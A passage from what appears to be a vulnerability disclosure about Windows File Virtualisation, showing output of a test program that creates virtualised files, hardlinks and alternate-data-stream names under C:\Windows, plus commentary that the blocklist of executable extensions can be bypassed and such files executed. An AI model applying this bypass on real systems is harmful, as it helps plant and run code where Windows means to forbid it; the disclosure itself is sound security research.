    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.bat'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.bat'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.chm'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.chm'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.chm'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.chm'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.chm'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.cmd'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cmd'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cmd'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cmd'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cmd'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.cnt'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cnt'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cnt'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cnt'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cnt'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.cnv'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cnv'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cnv'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cnv'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cnv'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.com'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.com'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.com'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.com'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.com'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.cpl'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cpl'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cpl'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cpl'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cpl'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.crt'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.crt'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.crt'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.crt'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.crt'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.dll'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.dll'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.dll'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.dll'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.dll'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.drv'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.drv'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.drv'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.drv'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.drv'
    File 'C:\Windows\Blunder.efi' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\Blunder.efi' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.efi'
    CreateProcess() returned error 193 for file 'C:\Windows\Blunder.efi'
    LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.efi'
    Hardlink 'C:\Windows\Blunder.efi' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\Blunder.efi' started as process 7800 with primary thread 13080
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.efi'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.efi'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.exe'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.exe'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.exe'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.exe'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.exe'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.fon'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.fon'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.fon'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.fon'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.fon'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.hlp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.hlp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.hlp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.hlp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.hlp'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.hta'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.hta'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.hta'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.hta'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.hta'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.ime'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ime'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ime'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ime'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ime'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.inf'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.inf'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.inf'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.inf'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.inf'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.ins'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ins'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ins'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ins'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ins'
    File 'C:\Windows\Blunder.iso' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\Blunder.iso' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.iso'
    CreateProcess() returned error 193 for file 'C:\Windows\Blunder.iso'
    LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.iso'
    Hardlink 'C:\Windows\Blunder.iso' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\Blunder.iso' started as process 11284 with primary thread 4168
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.iso'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.iso'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.isp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.isp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.isp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.isp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.isp'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.its'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.its'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.its'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.its'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.its'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.js'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.js'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.js'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.js'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.js'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.jse'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.jse'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.jse'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.jse'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.jse'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.lnk'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.lnk'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.lnk'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.lnk'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.lnk'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.msc'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.msc'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.msc'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.msc'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.msc'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.msi'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.msi'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.msi'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.msi'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.msi'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.msp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.msp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.msp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.msp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.msp'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.mst'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.mst'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.mst'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.mst'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.mst'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.mui'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.mui'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.mui'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.mui'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.mui'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.nls'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.nls'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.nls'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.nls'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.nls'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.ocx'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ocx'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ocx'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ocx'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ocx'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.pif'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.pif'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.pif'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.pif'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.pif'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.reg'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.reg'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.reg'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.reg'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.reg'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.scr'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.scr'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.scr'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.scr'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.scr'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.sct'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.sct'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.sct'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.sct'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.sct'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.shb'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.shb'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.shb'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.shb'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.shb'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.shs'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.shs'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.shs'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.shs'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.shs'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.sys'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.sys'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.sys'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.sys'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.sys'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.tlb'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.tlb'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.tlb'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.tlb'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.tlb'
    File 'C:\Windows\Blunder.tmp' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\Blunder.tmp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.tmp'
    CreateProcess() returned error 193 for file 'C:\Windows\Blunder.tmp'
    LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.tmp'
    Hardlink 'C:\Windows\Blunder.tmp' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\Blunder.tmp' started as process 7860 with primary thread 12028
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.tmp'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.tmp'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.tsp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.tsp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.tsp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.tsp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.tsp'
    File 'C:\Windows\Blunder.ttf' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\Blunder.ttf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.ttf'
    CreateProcess() returned error 193 for file 'C:\Windows\Blunder.ttf'
    LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.ttf'
    Hardlink 'C:\Windows\Blunder.ttf' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\Blunder.ttf' started as process 11116 with primary thread 1524
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.ttf'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.ttf'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.url'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.url'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.url'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.url'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.url'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.vb'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.vb'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.vb'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.vb'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.vb'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.vbe'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.vbe'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.vbe'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.vbe'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.vbe'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.vbs'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.vbs'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.vbs'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.vbs'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.vbs'
    File 'C:\Windows\Blunder.wll' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\Blunder.wll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.wll'
    CreateProcess() returned error 193 for file 'C:\Windows\Blunder.wll'
    LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.wll'
    Hardlink 'C:\Windows\Blunder.wll' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\Blunder.wll' started as process 13928 with primary thread 9784
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.wll'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.wll'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.wsc'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.wsc'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.wsc'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.wsc'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.wsc'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.wsf'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.wsf'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.wsf'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.wsf'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.wsf'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.wsh'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.wsh'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.wsh'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.wsh'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.wsh'
    File 'C:\Windows\Blunder.xll' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\Blunder.xll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.xll'
    CreateProcess() returned error 193 for file 'C:\Windows\Blunder.xll'
    LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.xll'
    Hardlink 'C:\Windows\Blunder.xll' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\Blunder.xll' started as process 8184 with primary thread 3232
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.xll'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.xll'
    
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    OOPS¹: at least for the 49 dangerous extensions .acm, .asa, .asp, .ax, .bat, .chm, .cmd, .cnt, .cnv, .com, .cpl, .crt, .dll, .drv, .exe, .fon, .hlp, .hta, .ime, .inf, .ins, .isp, .its, .js, .jse, .lnk, .msc, .msi, .msp, .mst, .mui, .nls, .ocx, .pif, .reg, .scr, .sct, .shb, .shs, .sys, .tlb, .tsp, .url, .vb, .vbe, .vbs, .wsc, .wsf and .wsh, File Virtualisation fails with Win32 error code 5 alias ERROR_ACCESS_DENIED!

    OUCH¹: contrary to the highlighted statement of the documentation cited above, executable files with the extensions .wll and .xll, which are used by Microsoft Word respectively Microsoft Excel for executable add-ins, can be created!

    OUCH²: indicated (intentionally here only) with the Win32 error code 193 alias ERROR_BAD_EXE_FORMAT, at least the Win32 functions CreateProcess() and LoadLibrary() load (and execute) virtualised files and hardlinks with (arbitrary) other extensions – I suspect that the developer(s) who built the list of dangerous extensions will be surprised to learn that black listing is doomed to fail!

    OUCH³: contrary to the highlighted statement of the documentation cited above, hardlinks of (executable) files can be created with arbitrary extensions!

    OUCH⁴: access to virtualised hardlinks with dangerous extensions but fails with either the wrong Win32 error code 2 alias ERROR_FILE_NOT_FOUND or the wrong error code 126 alias ERROR_MOD_NOT_FOUND instead of the appropriate error code 5 alias ERROR_ACCESS_DENIEDFile Virtualisation is seriously broken for hardlinks with dangerous extensions!

  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(193) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.acm'
    File 'C:\Windows:Blunder.acm' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.acm'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.acm'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.acm'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.acm'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.asa'
    File 'C:\Windows:Blunder.asa' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.asa'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.asa'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.asa'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.asa'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.asp'
    File 'C:\Windows:Blunder.asp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.asp'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.asp'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.asp'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.asp'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ax'
    File 'C:\Windows:Blunder.ax' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ax'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ax'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ax'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ax'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.bat'
    File 'C:\Windows:Blunder.bat' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.bat'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.bat'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.bat'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.bat'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.chm'
    File 'C:\Windows:Blunder.chm' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.chm'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.chm'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.chm'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.chm'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cmd'
    File 'C:\Windows:Blunder.cmd' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cmd'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cmd'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cmd'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cmd'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cnt'
    File 'C:\Windows:Blunder.cnt' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cnt'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cnt'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cnt'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cnt'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cnv'
    File 'C:\Windows:Blunder.cnv' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cnv'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cnv'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cnv'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cnv'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.com'
    File 'C:\Windows:Blunder.com' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.com'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.com'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.com'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.com'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cpl'
    File 'C:\Windows:Blunder.cpl' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cpl'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cpl'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cpl'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cpl'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.crt'
    File 'C:\Windows:Blunder.crt' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.crt'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.crt'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.crt'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.crt'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.dll'
    File 'C:\Windows:Blunder.dll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.dll'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.dll'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.dll'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.dll'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.drv'
    File 'C:\Windows:Blunder.drv' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.drv'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.drv'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.drv'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.drv'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.efi'
    File 'C:\Windows:Blunder.efi' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.efi'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.efi'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.efi'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.efi'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.exe'
    File 'C:\Windows:Blunder.exe' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.exe'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.exe'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.exe'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.exe'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.fon'
    File 'C:\Windows:Blunder.fon' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.fon'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.fon'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.fon'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.fon'
